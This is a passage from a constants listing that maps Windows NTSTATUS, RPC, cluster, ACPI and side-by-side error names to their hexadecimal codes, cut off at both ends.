0xC0000302\nSTATUS_WMI_ALREADY_ENABLED                                        = 0xC0000303\nSTATUS_MFT_TOO_FRAGMENTED                                         = 0xC0000304\nSTATUS_COPY_PROTECTION_FAILURE                                    = 0xC0000305\nSTATUS_CSS_AUTHENTICATION_FAILURE                                 = 0xC0000306\nSTATUS_CSS_KEY_NOT_PRESENT                                        = 0xC0000307\nSTATUS_CSS_KEY_NOT_ESTABLISHED                                    = 0xC0000308\nSTATUS_CSS_SCRAMBLED_SECTOR                                       = 0xC0000309\nSTATUS_CSS_REGION_MISMATCH                                        = 0xC000030A\nSTATUS_CSS_RESETS_EXHAUSTED                                       = 0xC000030B\nSTATUS_PKINIT_FAILURE                                             = 0xC0000320\nSTATUS_SMARTCARD_SUBSYSTEM_FAILURE                                = 0xC0000321\nSTATUS_NO_KERB_KEY                                                = 0xC0000322\nSTATUS_HOST_DOWN                                                  = 0xC0000350\nSTATUS_UNSUPPORTED_PREAUTH                                        = 0xC0000351\nSTATUS_EFS_ALG_BLOB_TOO_BIG                                       = 0xC0000352\nSTATUS_PORT_NOT_SET                                               = 0xC0000353\nSTATUS_DEBUGGER_INACTIVE                                          = 0xC0000354\nSTATUS_DS_VERSION_CHECK_FAILURE                                   = 0xC0000355\nSTATUS_AUDITING_DISABLED                                          = 0xC0000356\nSTATUS_PRENT4_MACHINE_ACCOUNT                                     = 0xC0000357\nSTATUS_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER                           = 0xC0000358\nSTATUS_INVALID_IMAGE_WIN_32                                       = 0xC0000359\nSTATUS_INVALID_IMAGE_WIN_64                                       = 0xC000035A\nSTATUS_BAD_BINDINGS                                               = 0xC000035B\nSTATUS_NETWORK_SESSION_EXPIRED                                    = 0xC000035C\nSTATUS_APPHELP_BLOCK                                              = 0xC000035D\nSTATUS_ALL_SIDS_FILTERED                                          = 0xC000035E\nSTATUS_NOT_SAFE_MODE_DRIVER                                       = 0xC000035F\nSTATUS_ACCESS_DISABLED_BY_POLICY_DEFAULT                          = 0xC0000361\nSTATUS_ACCESS_DISABLED_BY_POLICY_PATH                             = 0xC0000362\nSTATUS_ACCESS_DISABLED_BY_POLICY_PUBLISHER                        = 0xC0000363\nSTATUS_ACCESS_DISABLED_BY_POLICY_OTHER                            = 0xC0000364\nSTATUS_FAILED_DRIVER_ENTRY                                        = 0xC0000365\nSTATUS_DEVICE_ENUMERATION_ERROR                                   = 0xC0000366\nSTATUS_MOUNT_POINT_NOT_RESOLVED                                   = 0xC0000368\nSTATUS_INVALID_DEVICE_OBJECT_PARAMETER                            = 0xC0000369\nSTATUS_MCA_OCCURED                                                = 0xC000036A\nSTATUS_DRIVER_BLOCKED_CRITICAL                                    = 0xC000036B\nSTATUS_DRIVER_BLOCKED                                             = 0xC000036C\nSTATUS_DRIVER_DATABASE_ERROR                                      = 0xC000036D\nSTATUS_SYSTEM_HIVE_TOO_LARGE                                      = 0xC000036E\nSTATUS_INVALID_IMPORT_OF_NON_DLL                                  = 0xC000036F\nSTATUS_NO_SECRETS                                                 = 0xC0000371\nSTATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY                      = 0xC0000372\nSTATUS_FAILED_STACK_SWITCH                                        = 0xC0000373\nSTATUS_HEAP_CORRUPTION                                            = 0xC0000374\nSTATUS_SMARTCARD_WRONG_PIN                                        = 0xC0000380\nSTATUS_SMARTCARD_CARD_BLOCKED                                     = 0xC0000381\nSTATUS_SMARTCARD_CARD_NOT_AUTHENTICATED                           = 0xC0000382\nSTATUS_SMARTCARD_NO_CARD                                          = 0xC0000383\nSTATUS_SMARTCARD_NO_KEY_CONTAINER                                 = 0xC0000384\nSTATUS_SMARTCARD_NO_CERTIFICATE                                   = 0xC0000385\nSTATUS_SMARTCARD_NO_KEYSET                                        = 0xC0000386\nSTATUS_SMARTCARD_IO_ERROR                                         = 0xC0000387\nSTATUS_DOWNGRADE_DETECTED                                         = 0xC0000388\nSTATUS_SMARTCARD_CERT_REVOKED                                     = 0xC0000389\nSTATUS_ISSUING_CA_UNTRUSTED                                       = 0xC000038A\nSTATUS_REVOCATION_OFFLINE_C                                       = 0xC000038B\nSTATUS_PKINIT_CLIENT_FAILURE                                      = 0xC000038C\nSTATUS_SMARTCARD_CERT_EXPIRED                                     = 0xC000038D\nSTATUS_DRIVER_FAILED_PRIOR_UNLOAD                                 = 0xC000038E\nSTATUS_SMARTCARD_SILENT_CONTEXT                                   = 0xC000038F\nSTATUS_PER_USER_TRUST_QUOTA_EXCEEDED                              = 0xC0000401\nSTATUS_ALL_USER_TRUST_QUOTA_EXCEEDED                              = 0xC0000402\nSTATUS_USER_DELETE_TRUST_QUOTA_EXCEEDED                           = 0xC0000403\nSTATUS_DS_NAME_NOT_UNIQUE                                         = 0xC0000404\nSTATUS_DS_DUPLICATE_ID_FOUND                                      = 0xC0000405\nSTATUS_DS_GROUP_CONVERSION_ERROR                                  = 0xC0000406\nSTATUS_VOLSNAP_PREPARE_HIBERNATE                                  = 0xC0000407\nSTATUS_USER2USER_REQUIRED                                         = 0xC0000408\nSTATUS_STACK_BUFFER_OVERRUN                                       = 0xC0000409\nSTATUS_NO_S4U_PROT_SUPPORT                                        = 0xC000040A\nSTATUS_CROSSREALM_DELEGATION_FAILURE                              = 0xC000040B\nSTATUS_REVOCATION_OFFLINE_KDC                                     = 0xC000040C\nSTATUS_ISSUING_CA_UNTRUSTED_KDC                                   = 0xC000040D\nSTATUS_KDC_CERT_EXPIRED                                           = 0xC000040E\nSTATUS_KDC_CERT_REVOKED                                           = 0xC000040F\nSTATUS_PARAMETER_QUOTA_EXCEEDED                                   = 0xC0000410\nSTATUS_HIBERNATION_FAILURE                                        = 0xC0000411\nSTATUS_DELAY_LOAD_FAILED                                          = 0xC0000412\nSTATUS_AUTHENTICATION_FIREWALL_FAILED                             = 0xC0000413\nSTATUS_VDM_DISALLOWED                                             = 0xC0000414\nSTATUS_HUNG_DISPLAY_DRIVER_THREAD                                 = 0xC0000415\nSTATUS_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE    = 0xC0000416\nSTATUS_INVALID_CRUNTIME_PARAMETER                                 = 0xC0000417\nSTATUS_NTLM_BLOCKED                                               = 0xC0000418\nSTATUS_DS_SRC_SID_EXISTS_IN_FOREST                                = 0xC0000419\nSTATUS_DS_DOMAIN_NAME_EXISTS_IN_FOREST                            = 0xC000041A\nSTATUS_DS_FLAT_NAME_EXISTS_IN_FOREST                              = 0xC000041B\nSTATUS_INVALID_USER_PRINCIPAL_NAME                                = 0xC000041C\nSTATUS_ASSERTION_FAILURE                                          = 0xC0000420\nSTATUS_VERIFIER_STOP                                              = 0xC0000421\nSTATUS_CALLBACK_POP_STACK                                         = 0xC0000423\nSTATUS_INCOMPATIBLE_DRIVER_BLOCKED                                = 0xC0000424\nSTATUS_HIVE_UNLOADED                                              = 0xC0000425\nSTATUS_COMPRESSION_DISABLED                                       = 0xC0000426\nSTATUS_FILE_SYSTEM_LIMITATION                                     = 0xC0000427\nSTATUS_INVALID_IMAGE_HASH                                         = 0xC0000428\nSTATUS_NOT_CAPABLE                                                = 0xC0000429\nSTATUS_REQUEST_OUT_OF_SEQUENCE                                    = 0xC000042A\nSTATUS_IMPLEMENTATION_LIMIT                                       = 0xC000042B\nSTATUS_ELEVATION_REQUIRED                                         = 0xC000042C\nSTATUS_NO_SECURITY_CONTEXT                                        = 0xC000042D\nSTATUS_PKU2U_CERT_FAILURE                                         = 0xC000042E\nSTATUS_BEYOND_VDL                                                 = 0xC0000432\nSTATUS_ENCOUNTERED_WRITE_IN_PROGRESS                              = 0xC0000433\nSTATUS_PTE_CHANGED                                                = 0xC0000434\nSTATUS_PURGE_FAILED                                               = 0xC0000435\nSTATUS_CRED_REQUIRES_CONFIRMATION                                 = 0xC0000440\nSTATUS_CS_ENCRYPTION_INVALID_SERVER_RESPONSE                      = 0xC0000441\nSTATUS_CS_ENCRYPTION_UNSUPPORTED_SERVER                           = 0xC0000442\nSTATUS_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE                      = 0xC0000443\nSTATUS_CS_ENCRYPTION_NEW_ENCRYPTED_FILE                           = 0xC0000444\nSTATUS_CS_ENCRYPTION_FILE_NOT_CSE                                 = 0xC0000445\nSTATUS_INVALID_LABEL                                              = 0xC0000446\nSTATUS_DRIVER_PROCESS_TERMINATED                                  = 0xC0000450\nSTATUS_AMBIGUOUS_SYSTEM_DEVICE                                    = 0xC0000451\nSTATUS_SYSTEM_DEVICE_NOT_FOUND                                    = 0xC0000452\nSTATUS_RESTART_BOOT_APPLICATION                                   = 0xC0000453\nSTATUS_INSUFFICIENT_NVRAM_RESOURCES                               = 0xC0000454\nSTATUS_INVALID_TASK_NAME                                          = 0xC0000500\nSTATUS_INVALID_TASK_INDEX                                         = 0xC0000501\nSTATUS_THREAD_ALREADY_IN_TASK                                     = 0xC0000502\nSTATUS_CALLBACK_BYPASS                                            = 0xC0000503\nSTATUS_FAIL_FAST_EXCEPTION                                        = 0xC0000602\nSTATUS_IMAGE_CERT_REVOKED                                         = 0xC0000603\nSTATUS_PORT_CLOSED                                                = 0xC0000700\nSTATUS_MESSAGE_LOST                                               = 0xC0000701\nSTATUS_INVALID_MESSAGE                                            = 0xC0000702\nSTATUS_REQUEST_CANCELED                                           = 0xC0000703\nSTATUS_RECURSIVE_DISPATCH                                         = 0xC0000704\nSTATUS_LPC_RECEIVE_BUFFER_EXPECTED                                = 0xC0000705\nSTATUS_LPC_INVALID_CONNECTION_USAGE                               = 0xC0000706\nSTATUS_LPC_REQUESTS_NOT_ALLOWED                                   = 0xC0000707\nSTATUS_RESOURCE_IN_USE                                            = 0xC0000708\nSTATUS_HARDWARE_MEMORY_ERROR                                      = 0xC0000709\nSTATUS_THREADPOOL_HANDLE_EXCEPTION                                = 0xC000070A\nSTATUS_THREADPOOL_SET_EVENT_ON_COMPLETION_FAILED                  = 0xC000070B\nSTATUS_THREADPOOL_RELEASE_SEMAPHORE_ON_COMPLETION_FAILED          = 0xC000070C\nSTATUS_THREADPOOL_RELEASE_MUTEX_ON_COMPLETION_FAILED              = 0xC000070D\nSTATUS_THREADPOOL_FREE_LIBRARY_ON_COMPLETION_FAILED               = 0xC000070E\nSTATUS_THREADPOOL_RELEASED_DURING_OPERATION                       = 0xC000070F\nSTATUS_CALLBACK_RETURNED_WHILE_IMPERSONATING                      = 0xC0000710\nSTATUS_APC_RETURNED_WHILE_IMPERSONATING                           = 0xC0000711\nSTATUS_PROCESS_IS_PROTECTED                                       = 0xC0000712\nSTATUS_MCA_EXCEPTION                                              = 0xC0000713\nSTATUS_CERTIFICATE_MAPPING_NOT_UNIQUE                             = 0xC0000714\nSTATUS_SYMLINK_CLASS_DISABLED                                     = 0xC0000715\nSTATUS_INVALID_IDN_NORMALIZATION                                  = 0xC0000716\nSTATUS_NO_UNICODE_TRANSLATION                                     = 0xC0000717\nSTATUS_ALREADY_REGISTERED                                         = 0xC0000718\nSTATUS_CONTEXT_MISMATCH                                           = 0xC0000719\nSTATUS_PORT_ALREADY_HAS_COMPLETION_LIST                           = 0xC000071A\nSTATUS_CALLBACK_RETURNED_THREAD_PRIORITY                          = 0xC000071B\nSTATUS_INVALID_THREAD                                             = 0xC000071C\nSTATUS_CALLBACK_RETURNED_TRANSACTION                              = 0xC000071D\nSTATUS_CALLBACK_RETURNED_LDR_LOCK                                 = 0xC000071E\nSTATUS_CALLBACK_RETURNED_LANG                                     = 0xC000071F\nSTATUS_CALLBACK_RETURNED_PRI_BACK                                 = 0xC0000720\nSTATUS_DISK_REPAIR_DISABLED                                       = 0xC0000800\nSTATUS_DS_DOMAIN_RENAME_IN_PROGRESS                               = 0xC0000801\nSTATUS_DISK_QUOTA_EXCEEDED                                        = 0xC0000802\nSTATUS_CONTENT_BLOCKED                                            = 0xC0000804\nSTATUS_BAD_CLUSTERS                                               = 0xC0000805\nSTATUS_VOLUME_DIRTY                                               = 0xC0000806\nSTATUS_FILE_CHECKED_OUT                                           = 0xC0000901\nSTATUS_CHECKOUT_REQUIRED                                          = 0xC0000902\nSTATUS_BAD_FILE_TYPE                                              = 0xC0000903\nSTATUS_FILE_TOO_LARGE                                             = 0xC0000904\nSTATUS_FORMS_AUTH_REQUIRED                                        = 0xC0000905\nSTATUS_VIRUS_INFECTED                                             = 0xC0000906\nSTATUS_VIRUS_DELETED                                              = 0xC0000907\nSTATUS_BAD_MCFG_TABLE                                             = 0xC0000908\nSTATUS_CANNOT_BREAK_OPLOCK                                        = 0xC0000909\nSTATUS_WOW_ASSERTION                                              = 0xC0009898\nSTATUS_INVALID_SIGNATURE                                          = 0xC000A000\nSTATUS_HMAC_NOT_SUPPORTED                                         = 0xC000A001\nSTATUS_IPSEC_QUEUE_OVERFLOW                                       = 0xC000A010\nSTATUS_ND_QUEUE_OVERFLOW                                          = 0xC000A011\nSTATUS_HOPLIMIT_EXCEEDED                                          = 0xC000A012\nSTATUS_PROTOCOL_NOT_SUPPORTED                                     = 0xC000A013\nSTATUS_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED                 = 0xC000A080\nSTATUS_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR                 = 0xC000A081\nSTATUS_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR                     = 0xC000A082\nSTATUS_XML_PARSE_ERROR                                            = 0xC000A083\nSTATUS_XMLDSIG_ERROR                                              = 0xC000A084\nSTATUS_WRONG_COMPARTMENT                                          = 0xC000A085\nSTATUS_AUTHIP_FAILURE                                             = 0xC000A086\nSTATUS_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS                      = 0xC000A087\nSTATUS_DS_OID_NOT_FOUND                                           = 0xC000A088\nSTATUS_HASH_NOT_SUPPORTED                                         = 0xC000A100\nSTATUS_HASH_NOT_PRESENT                                           = 0xC000A101\nDBG_NO_STATE_CHANGE                                               = 0xC0010001\nDBG_APP_NOT_IDLE                                                  = 0xC0010002\nRPC_NT_INVALID_STRING_BINDING                                     = 0xC0020001\nRPC_NT_WRONG_KIND_OF_BINDING                                      = 0xC0020002\nRPC_NT_INVALID_BINDING                                            = 0xC0020003\nRPC_NT_PROTSEQ_NOT_SUPPORTED                                      = 0xC0020004\nRPC_NT_INVALID_RPC_PROTSEQ                                        = 0xC0020005\nRPC_NT_INVALID_STRING_UUID                                        = 0xC0020006\nRPC_NT_INVALID_ENDPOINT_FORMAT                                    = 0xC0020007\nRPC_NT_INVALID_NET_ADDR                                           = 0xC0020008\nRPC_NT_NO_ENDPOINT_FOUND                                          = 0xC0020009\nRPC_NT_INVALID_TIMEOUT                                            = 0xC002000A\nRPC_NT_OBJECT_NOT_FOUND                                           = 0xC002000B\nRPC_NT_ALREADY_REGISTERED                                         = 0xC002000C\nRPC_NT_TYPE_ALREADY_REGISTERED                                    = 0xC002000D\nRPC_NT_ALREADY_LISTENING                                          = 0xC002000E\nRPC_NT_NO_PROTSEQS_REGISTERED                                     = 0xC002000F\nRPC_NT_NOT_LISTENING                                              = 0xC0020010\nRPC_NT_UNKNOWN_MGR_TYPE                                           = 0xC0020011\nRPC_NT_UNKNOWN_IF                                                 = 0xC0020012\nRPC_NT_NO_BINDINGS                                                = 0xC0020013\nRPC_NT_NO_PROTSEQS                                                = 0xC0020014\nRPC_NT_CANT_CREATE_ENDPOINT                                       = 0xC0020015\nRPC_NT_OUT_OF_RESOURCES                                           = 0xC0020016\nRPC_NT_SERVER_UNAVAILABLE                                         = 0xC0020017\nRPC_NT_SERVER_TOO_BUSY                                            = 0xC0020018\nRPC_NT_INVALID_NETWORK_OPTIONS                                    = 0xC0020019\nRPC_NT_NO_CALL_ACTIVE                                             = 0xC002001A\nRPC_NT_CALL_FAILED                                                = 0xC002001B\nRPC_NT_CALL_FAILED_DNE                                            = 0xC002001C\nRPC_NT_PROTOCOL_ERROR                                             = 0xC002001D\nRPC_NT_UNSUPPORTED_TRANS_SYN                                      = 0xC002001F\nRPC_NT_UNSUPPORTED_TYPE                                           = 0xC0020021\nRPC_NT_INVALID_TAG                                                = 0xC0020022\nRPC_NT_INVALID_BOUND                                              = 0xC0020023\nRPC_NT_NO_ENTRY_NAME                                              = 0xC0020024\nRPC_NT_INVALID_NAME_SYNTAX                                        = 0xC0020025\nRPC_NT_UNSUPPORTED_NAME_SYNTAX                                    = 0xC0020026\nRPC_NT_UUID_NO_ADDRESS                                            = 0xC0020028\nRPC_NT_DUPLICATE_ENDPOINT                                         = 0xC0020029\nRPC_NT_UNKNOWN_AUTHN_TYPE                                         = 0xC002002A\nRPC_NT_MAX_CALLS_TOO_SMALL                                        = 0xC002002B\nRPC_NT_STRING_TOO_LONG                                            = 0xC002002C\nRPC_NT_PROTSEQ_NOT_FOUND                                          = 0xC002002D\nRPC_NT_PROCNUM_OUT_OF_RANGE                                       = 0xC002002E\nRPC_NT_BINDING_HAS_NO_AUTH                                        = 0xC002002F\nRPC_NT_UNKNOWN_AUTHN_SERVICE                                      = 0xC0020030\nRPC_NT_UNKNOWN_AUTHN_LEVEL                                        = 0xC0020031\nRPC_NT_INVALID_AUTH_IDENTITY                                      = 0xC0020032\nRPC_NT_UNKNOWN_AUTHZ_SERVICE                                      = 0xC0020033\nEPT_NT_INVALID_ENTRY                                              = 0xC0020034\nEPT_NT_CANT_PERFORM_OP                                            = 0xC0020035\nEPT_NT_NOT_REGISTERED                                             = 0xC0020036\nRPC_NT_NOTHING_TO_EXPORT                                          = 0xC0020037\nRPC_NT_INCOMPLETE_NAME                                            = 0xC0020038\nRPC_NT_INVALID_VERS_OPTION                                        = 0xC0020039\nRPC_NT_NO_MORE_MEMBERS                                            = 0xC002003A\nRPC_NT_NOT_ALL_OBJS_UNEXPORTED                                    = 0xC002003B\nRPC_NT_INTERFACE_NOT_FOUND                                        = 0xC002003C\nRPC_NT_ENTRY_ALREADY_EXISTS                                       = 0xC002003D\nRPC_NT_ENTRY_NOT_FOUND                                            = 0xC002003E\nRPC_NT_NAME_SERVICE_UNAVAILABLE                                   = 0xC002003F\nRPC_NT_INVALID_NAF_ID                                             = 0xC0020040\nRPC_NT_CANNOT_SUPPORT                                             = 0xC0020041\nRPC_NT_NO_CONTEXT_AVAILABLE                                       = 0xC0020042\nRPC_NT_INTERNAL_ERROR                                             = 0xC0020043\nRPC_NT_ZERO_DIVIDE                                                = 0xC0020044\nRPC_NT_ADDRESS_ERROR                                              = 0xC0020045\nRPC_NT_FP_DIV_ZERO                                                = 0xC0020046\nRPC_NT_FP_UNDERFLOW                                               = 0xC0020047\nRPC_NT_FP_OVERFLOW                                                = 0xC0020048\nRPC_NT_CALL_IN_PROGRESS                                           = 0xC0020049\nRPC_NT_NO_MORE_BINDINGS                                           = 0xC002004A\nRPC_NT_GROUP_MEMBER_NOT_FOUND                                     = 0xC002004B\nEPT_NT_CANT_CREATE                                                = 0xC002004C\nRPC_NT_INVALID_OBJECT                                             = 0xC002004D\nRPC_NT_NO_INTERFACES                                              = 0xC002004F\nRPC_NT_CALL_CANCELLED                                             = 0xC0020050\nRPC_NT_BINDING_INCOMPLETE                                         = 0xC0020051\nRPC_NT_COMM_FAILURE                                               = 0xC0020052\nRPC_NT_UNSUPPORTED_AUTHN_LEVEL                                    = 0xC0020053\nRPC_NT_NO_PRINC_NAME                                              = 0xC0020054\nRPC_NT_NOT_RPC_ERROR                                              = 0xC0020055\nRPC_NT_SEC_PKG_ERROR                                              = 0xC0020057\nRPC_NT_NOT_CANCELLED                                              = 0xC0020058\nRPC_NT_INVALID_ASYNC_HANDLE                                       = 0xC0020062\nRPC_NT_INVALID_ASYNC_CALL                                         = 0xC0020063\nRPC_NT_PROXY_ACCESS_DENIED                                        = 0xC0020064\nRPC_P_RECEIVE_ALERTED                                             = 0xC0021007\nRPC_P_CONNECTION_CLOSED                                           = 0xC0021008\nRPC_P_RECEIVE_FAILED                                              = 0xC0021009\nRPC_P_SEND_FAILED                                                 = 0xC002100A\nRPC_P_TIMEOUT                                                     = 0xC002100B\nRPC_P_SERVER_TRANSPORT_ERROR                                      = 0xC002100C\nRPC_P_EXCEPTION_OCCURED                                           = 0xC002100E\nRPC_P_CONNECTION_SHUTDOWN                                         = 0xC0021012\nRPC_P_THREAD_LISTENING                                            = 0xC0021015\nRPC_NT_NO_MORE_ENTRIES                                            = 0xC0030001\nRPC_NT_SS_CHAR_TRANS_OPEN_FAIL                                    = 0xC0030002\nRPC_NT_SS_CHAR_TRANS_SHORT_FILE                                   = 0xC0030003\nRPC_NT_SS_IN_NULL_CONTEXT                                         = 0xC0030004\nRPC_NT_SS_CONTEXT_MISMATCH                                        = 0xC0030005\nRPC_NT_SS_CONTEXT_DAMAGED                                         = 0xC0030006\nRPC_NT_SS_HANDLES_MISMATCH                                        = 0xC0030007\nRPC_NT_SS_CANNOT_GET_CALL_HANDLE                                  = 0xC0030008\nRPC_NT_NULL_REF_POINTER                                           = 0xC0030009\nRPC_NT_ENUM_VALUE_OUT_OF_RANGE                                    = 0xC003000A\nRPC_NT_BYTE_COUNT_TOO_SMALL                                       = 0xC003000B\nRPC_NT_BAD_STUB_DATA                                              = 0xC003000C\nRPC_NT_INVALID_ES_ACTION                                          = 0xC0030059\nRPC_NT_WRONG_ES_VERSION                                           = 0xC003005A\nRPC_NT_WRONG_STUB_VERSION                                         = 0xC003005B\nRPC_NT_INVALID_PIPE_OBJECT                                        = 0xC003005C\nRPC_NT_INVALID_PIPE_OPERATION                                     = 0xC003005D\nRPC_NT_WRONG_PIPE_VERSION                                         = 0xC003005E\nRPC_NT_PIPE_CLOSED                                                = 0xC003005F\nRPC_NT_PIPE_DISCIPLINE_ERROR                                      = 0xC0030060\nRPC_NT_PIPE_EMPTY                                                 = 0xC0030061\nSTATUS_PNP_BAD_MPS_TABLE                                          = 0xC0040035\nSTATUS_PNP_TRANSLATION_FAILED                                     = 0xC0040036\nSTATUS_PNP_IRQ_TRANSLATION_FAILED                                 = 0xC0040037\nSTATUS_PNP_INVALID_ID                                             = 0xC0040038\nSTATUS_IO_REISSUE_AS_CACHED                                       = 0xC0040039\nSTATUS_CTX_WINSTATION_NAME_INVALID                                = 0xC00A0001\nSTATUS_CTX_INVALID_PD                                             = 0xC00A0002\nSTATUS_CTX_PD_NOT_FOUND                                           = 0xC00A0003\nSTATUS_CTX_CLOSE_PENDING                                          = 0xC00A0006\nSTATUS_CTX_NO_OUTBUF                                              = 0xC00A0007\nSTATUS_CTX_MODEM_INF_NOT_FOUND                                    = 0xC00A0008\nSTATUS_CTX_INVALID_MODEMNAME                                      = 0xC00A0009\nSTATUS_CTX_RESPONSE_ERROR                                         = 0xC00A000A\nSTATUS_CTX_MODEM_RESPONSE_TIMEOUT                                 = 0xC00A000B\nSTATUS_CTX_MODEM_RESPONSE_NO_CARRIER                              = 0xC00A000C\nSTATUS_CTX_MODEM_RESPONSE_NO_DIALTONE                             = 0xC00A000D\nSTATUS_CTX_MODEM_RESPONSE_BUSY                                    = 0xC00A000E\nSTATUS_CTX_MODEM_RESPONSE_VOICE                                   = 0xC00A000F\nSTATUS_CTX_TD_ERROR                                               = 0xC00A0010\nSTATUS_CTX_LICENSE_CLIENT_INVALID                                 = 0xC00A0012\nSTATUS_CTX_LICENSE_NOT_AVAILABLE                                  = 0xC00A0013\nSTATUS_CTX_LICENSE_EXPIRED                                        = 0xC00A0014\nSTATUS_CTX_WINSTATION_NOT_FOUND                                   = 0xC00A0015\nSTATUS_CTX_WINSTATION_NAME_COLLISION                              = 0xC00A0016\nSTATUS_CTX_WINSTATION_BUSY                                        = 0xC00A0017\nSTATUS_CTX_BAD_VIDEO_MODE                                         = 0xC00A0018\nSTATUS_CTX_GRAPHICS_INVALID                                       = 0xC00A0022\nSTATUS_CTX_NOT_CONSOLE                                            = 0xC00A0024\nSTATUS_CTX_CLIENT_QUERY_TIMEOUT                                   = 0xC00A0026\nSTATUS_CTX_CONSOLE_DISCONNECT                                     = 0xC00A0027\nSTATUS_CTX_CONSOLE_CONNECT                                        = 0xC00A0028\nSTATUS_CTX_SHADOW_DENIED                                          = 0xC00A002A\nSTATUS_CTX_WINSTATION_ACCESS_DENIED                               = 0xC00A002B\nSTATUS_CTX_INVALID_WD                                             = 0xC00A002E\nSTATUS_CTX_WD_NOT_FOUND                                           = 0xC00A002F\nSTATUS_CTX_SHADOW_INVALID                                         = 0xC00A0030\nSTATUS_CTX_SHADOW_DISABLED                                        = 0xC00A0031\nSTATUS_RDP_PROTOCOL_ERROR                                         = 0xC00A0032\nSTATUS_CTX_CLIENT_LICENSE_NOT_SET                                 = 0xC00A0033\nSTATUS_CTX_CLIENT_LICENSE_IN_USE                                  = 0xC00A0034\nSTATUS_CTX_SHADOW_ENDED_BY_MODE_CHANGE                            = 0xC00A0035\nSTATUS_CTX_SHADOW_NOT_RUNNING                                     = 0xC00A0036\nSTATUS_CTX_LOGON_DISABLED                                         = 0xC00A0037\nSTATUS_CTX_SECURITY_LAYER_ERROR                                   = 0xC00A0038\nSTATUS_TS_INCOMPATIBLE_SESSIONS                                   = 0xC00A0039\nSTATUS_MUI_FILE_NOT_FOUND                                         = 0xC00B0001\nSTATUS_MUI_INVALID_FILE                                           = 0xC00B0002\nSTATUS_MUI_INVALID_RC_CONFIG                                      = 0xC00B0003\nSTATUS_MUI_INVALID_LOCALE_NAME                                    = 0xC00B0004\nSTATUS_MUI_INVALID_ULTIMATEFALLBACK_NAME                          = 0xC00B0005\nSTATUS_MUI_FILE_NOT_LOADED                                        = 0xC00B0006\nSTATUS_RESOURCE_ENUM_USER_STOP                                    = 0xC00B0007\nSTATUS_CLUSTER_INVALID_NODE                                       = 0xC0130001\nSTATUS_CLUSTER_NODE_EXISTS                                        = 0xC0130002\nSTATUS_CLUSTER_JOIN_IN_PROGRESS                                   = 0xC0130003\nSTATUS_CLUSTER_NODE_NOT_FOUND                                     = 0xC0130004\nSTATUS_CLUSTER_LOCAL_NODE_NOT_FOUND                               = 0xC0130005\nSTATUS_CLUSTER_NETWORK_EXISTS                                     = 0xC0130006\nSTATUS_CLUSTER_NETWORK_NOT_FOUND                                  = 0xC0130007\nSTATUS_CLUSTER_NETINTERFACE_EXISTS                                = 0xC0130008\nSTATUS_CLUSTER_NETINTERFACE_NOT_FOUND                             = 0xC0130009\nSTATUS_CLUSTER_INVALID_REQUEST                                    = 0xC013000A\nSTATUS_CLUSTER_INVALID_NETWORK_PROVIDER                           = 0xC013000B\nSTATUS_CLUSTER_NODE_DOWN                                          = 0xC013000C\nSTATUS_CLUSTER_NODE_UNREACHABLE                                   = 0xC013000D\nSTATUS_CLUSTER_NODE_NOT_MEMBER                                    = 0xC013000E\nSTATUS_CLUSTER_JOIN_NOT_IN_PROGRESS                               = 0xC013000F\nSTATUS_CLUSTER_INVALID_NETWORK                                    = 0xC0130010\nSTATUS_CLUSTER_NO_NET_ADAPTERS                                    = 0xC0130011\nSTATUS_CLUSTER_NODE_UP                                            = 0xC0130012\nSTATUS_CLUSTER_NODE_PAUSED                                        = 0xC0130013\nSTATUS_CLUSTER_NODE_NOT_PAUSED                                    = 0xC0130014\nSTATUS_CLUSTER_NO_SECURITY_CONTEXT                                = 0xC0130015\nSTATUS_CLUSTER_NETWORK_NOT_INTERNAL                               = 0xC0130016\nSTATUS_CLUSTER_POISONED                                           = 0xC0130017\nSTATUS_ACPI_INVALID_OPCODE                                        = 0xC0140001\nSTATUS_ACPI_STACK_OVERFLOW                                        = 0xC0140002\nSTATUS_ACPI_ASSERT_FAILED                                         = 0xC0140003\nSTATUS_ACPI_INVALID_INDEX                                         = 0xC0140004\nSTATUS_ACPI_INVALID_ARGUMENT                                      = 0xC0140005\nSTATUS_ACPI_FATAL                                                 = 0xC0140006\nSTATUS_ACPI_INVALID_SUPERNAME                                     = 0xC0140007\nSTATUS_ACPI_INVALID_ARGTYPE                                       = 0xC0140008\nSTATUS_ACPI_INVALID_OBJTYPE                                       = 0xC0140009\nSTATUS_ACPI_INVALID_TARGETTYPE                                    = 0xC014000A\nSTATUS_ACPI_INCORRECT_ARGUMENT_COUNT                              = 0xC014000B\nSTATUS_ACPI_ADDRESS_NOT_MAPPED                                    = 0xC014000C\nSTATUS_ACPI_INVALID_EVENTTYPE                                     = 0xC014000D\nSTATUS_ACPI_HANDLER_COLLISION                                     = 0xC014000E\nSTATUS_ACPI_INVALID_DATA                                          = 0xC014000F\nSTATUS_ACPI_INVALID_REGION                                        = 0xC0140010\nSTATUS_ACPI_INVALID_ACCESS_SIZE                                   = 0xC0140011\nSTATUS_ACPI_ACQUIRE_GLOBAL_LOCK                                   = 0xC0140012\nSTATUS_ACPI_ALREADY_INITIALIZED                                   = 0xC0140013\nSTATUS_ACPI_NOT_INITIALIZED                                       = 0xC0140014\nSTATUS_ACPI_INVALID_MUTEX_LEVEL                                   = 0xC0140015\nSTATUS_ACPI_MUTEX_NOT_OWNED                                       = 0xC0140016\nSTATUS_ACPI_MUTEX_NOT_OWNER                                       = 0xC0140017\nSTATUS_ACPI_RS_ACCESS                                             = 0xC0140018\nSTATUS_ACPI_INVALID_TABLE                                         = 0xC0140019\nSTATUS_ACPI_REG_HANDLER_FAILED                                    = 0xC0140020\nSTATUS_ACPI_POWER_REQUEST_FAILED                                  = 0xC0140021\nSTATUS_SXS_SECTION_NOT_FOUND                                      = 0xC0150001\nSTATUS_SXS_CANT_GEN_ACTCTX                                        = 0xC0150002\nSTATUS_SXS_INVALID_ACTCTXDATA_FORMAT                              = 0xC0150003\nSTATUS_SXS_ASSEMBLY_NOT_FOUND                                     = 0xC0150004\nSTATUS_SXS_MANIFEST_FORMAT_ERROR                                  = 0xC0150005\nSTATUS_SXS_MANIFEST_PARSE_ERROR                                   = 